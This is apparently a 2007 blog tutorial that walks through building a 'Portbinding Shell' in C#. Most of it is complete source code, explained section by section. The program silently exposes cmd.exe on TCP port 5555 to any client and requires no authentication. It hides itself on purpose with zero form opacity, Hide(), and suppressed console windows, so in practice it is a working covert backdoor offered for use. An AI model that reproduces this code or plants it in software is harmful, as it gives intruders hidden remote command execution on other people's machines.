Portbinding Shell
Introduction
In this article we will build something called a Portbinding Shell. What is a Portbinding Shell? Simply put, it is a cmd.exe shell that is bound to a port. When this program runs, it listens on a TCP port, eg, 5555. You then putty, netcat or telnet to it from another PC, eg:
C:\telnet 192.168.0.1 5555
And immediately you get:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
You can now type any command and it will execute on the Server. The C:\ prompt will appear after executing the first command. Runs on WinXP and Vista.
Using the code
Create a Windows Application (not console application) and compile in Visual C# 2005 Express. Set the Form opacity to 0. Insert a Form_Shown Event Handler. The full source code is as below:
Collapse
//
// Portbinding Shell - by Paul Chin
// Updates:
// Aug 24, 2007 - Enabled re-connections
// Aug 27, 2007 - Cleans up cmd.exe processes upon disconnect
//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO; //for Streams
using System.Diagnostics; //for Process
namespace PortbindingCmd
{
public partial class Form1 : Form
{
TcpListener tcpListener;
Socket socketForClient;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
Process processCmd;
StringBuilder strInput;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
tcpListener = new TcpListener(System.Net.IPAddress.Any, 5555);
tcpListener.Start();
for(;;) RunServer();
}
private void RunServer()
{
socketForClient = tcpListener.AcceptSocket();
networkStream = new NetworkStream(socketForClient);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
//processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived +=
new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
strInput = new StringBuilder();
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\n");
processCmd.StandardInput.WriteLine(strInput);
if (strInput.ToString().LastIndexOf("terminate")>=0) StopServer();
if (strInput.ToString().LastIndexOf("exit") >= 0) throw new ArgumentException();
strInput.Remove(0,strInput.Length);
}
catch (Exception err)
{
Cleanup();
break;
}
//Application.DoEvents();
}
}
private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
streamReader.Close();
streamWriter.Close();
networkStream.Close();
socketForClient.Close();
}
private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}//end ComdOutputDataHandler
}//end Class Form1
}
Putty, netcat or telnet to port 5555. You can then run any commands from the command line. You can telnet 127.0.0.1 if you don't have two PCs, or virtual PC. You can disconnect and re-connect as many times as you like. To terminate the server, send the "terminate" command.
Points of Interest
Note that, this is a Windows Application and not a Console Application. I choose Windows Application, so that I can hide the Server when it runs. A console application will pop up a DOS window.
Start a new Windows Application. Set the Form opacity property to 0. And also insert a Form_shown Event Handler.
The form will flash briefly when run, that is why I set the opacity property to 0.
We will need these two libraries for using streams and for creating Processess:
using System.IO; //for Streams
using System.Diagnostics; //for Process
These are the sockets and streams that we need:
TcpListener tcpListener;
Socket socketForClient;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
This object is for holding the cmd.exe process which we will be creating later:
Process processCmd;
This stringbuilder will be used later, to store the commands that the Client sends to the Server:
StringBuilder strInput;
Note that we will need to insert a Form1_Shown Event Handler:
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
tcpListener = new TcpListener(System.Net.IPAddress.Any, 5555);
tcpListener.Start();
for(;;) RunServer();
}
We could not use Form1_Load because, it will not hide our form. Set the Form Opacity to 0. And insert this.Hide(). The Form will flash briefly before becoming invisible, that is why we need to set its opacity to 0. It will create a port on 5555 and waits for connections. It then calls the RunServer() method:
private void RunServer()
{
…
}
The above is the main method for the Server. Within it, the server waits for connections, and when a Client connects, it creates a socket to communicate with the Client:
socketForClient = tcpListener.AcceptSocket();
The next three lines creates the necessary streams so that the Server is able to read from the socket and also able to write to the socket:
networkStream = new NetworkStream(socketForClient);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);
Next, we create the processes and its startupinfo. The startupinfo are the parameters that is used to run our process. The process is cmd.exe – the Command Line shell:
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
//processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived +=
new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
strInput = new StringBuilder();
Note that we set the CreateNoWindow to true so that the process will not pop-up a DOS window when run. The ProcesssWindowStyle.Hidden is optional, it makes no difference. UseShellExecute must be set to false in order to redirect the processes' StandardOutput, StandardInput and StandardError. Once we redirect each input or output stream, pipes are created for each as shown in Fig A below:
Read
| |
| | [StandardOut]
| |
Read --- cmd.exe -----Write
| | Write
| | [StandardIn] | |
| | | | [StandardError]
Write | |
Read
Fig A - Linking three pipes to the cmd.exe process
However, redirecting the Input and Output Streams is not enough. We need to handle those streams. For example, to handle the StandardOutput and StandardError Streams, we declare a OutputDataReceived event Handler and write a method to handle it:
private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
Below is the main loop of the Server. The try-catch block is designed to close all cmd.exe processes, sockets and streams cleanly whenever the Client disconnects. When a Client suddenly disconnects, it will throw an exception which is caught by the catch-block. The catch-block will call the Cleanup() method to close all cmd.exe processeses, streams and sockets for re-use. The break statement returns control to the for(;;) loop in the Form_Shown Event Handler which then spawns another socket by calling RunServer(). The Client is able to re-connect again and again. Note that the program is also designed to deliberately throw an ArgumentException() if the Client sends the "exit" command. This is so that that catch-block will catch it and Cleanup() the cmd.exe processes, streams and sockets for re-use.
The code in the try-block is to read the data sent by the Client and then inject it into the StandardIn pipe of the cmd.exe process. This data is the command sent by the Client. The cmd.exe process will then execute the command and then send its output to the StandardOut pipe. This will generate an OutputDataReceived Event which will in turn, call the CmdOutputDataHandler as discussed above. The strInput.Remove() method is to empty the stringbuilder before we accept new data from the Client. If the Client sends the "terminate" command, the program will call the StopServer() method to stop the server and exit the program. Once the Server is terminated, the Client will not be able to re-connect.
while (true)
{
try
{
strInput.Append(streamReader.ReadLine());
strInput.Append("\n");
processCmd.StandardInput.WriteLine(strInput);
if (strInput.ToString().LastIndexOf("terminate")>=0) StopServer();
if (strInput.ToString().LastIndexOf("exit") >= 0) throw new ArgumentException();
strInput.Remove(0,strInput.Length);
}
catch (Exception err)
{
Cleanup();
break;
} //Application.DoEvents();
}
Sunday, November 11, 2007
Subscribe to:
Post Comments (Atom)

No comments:
Post a Comment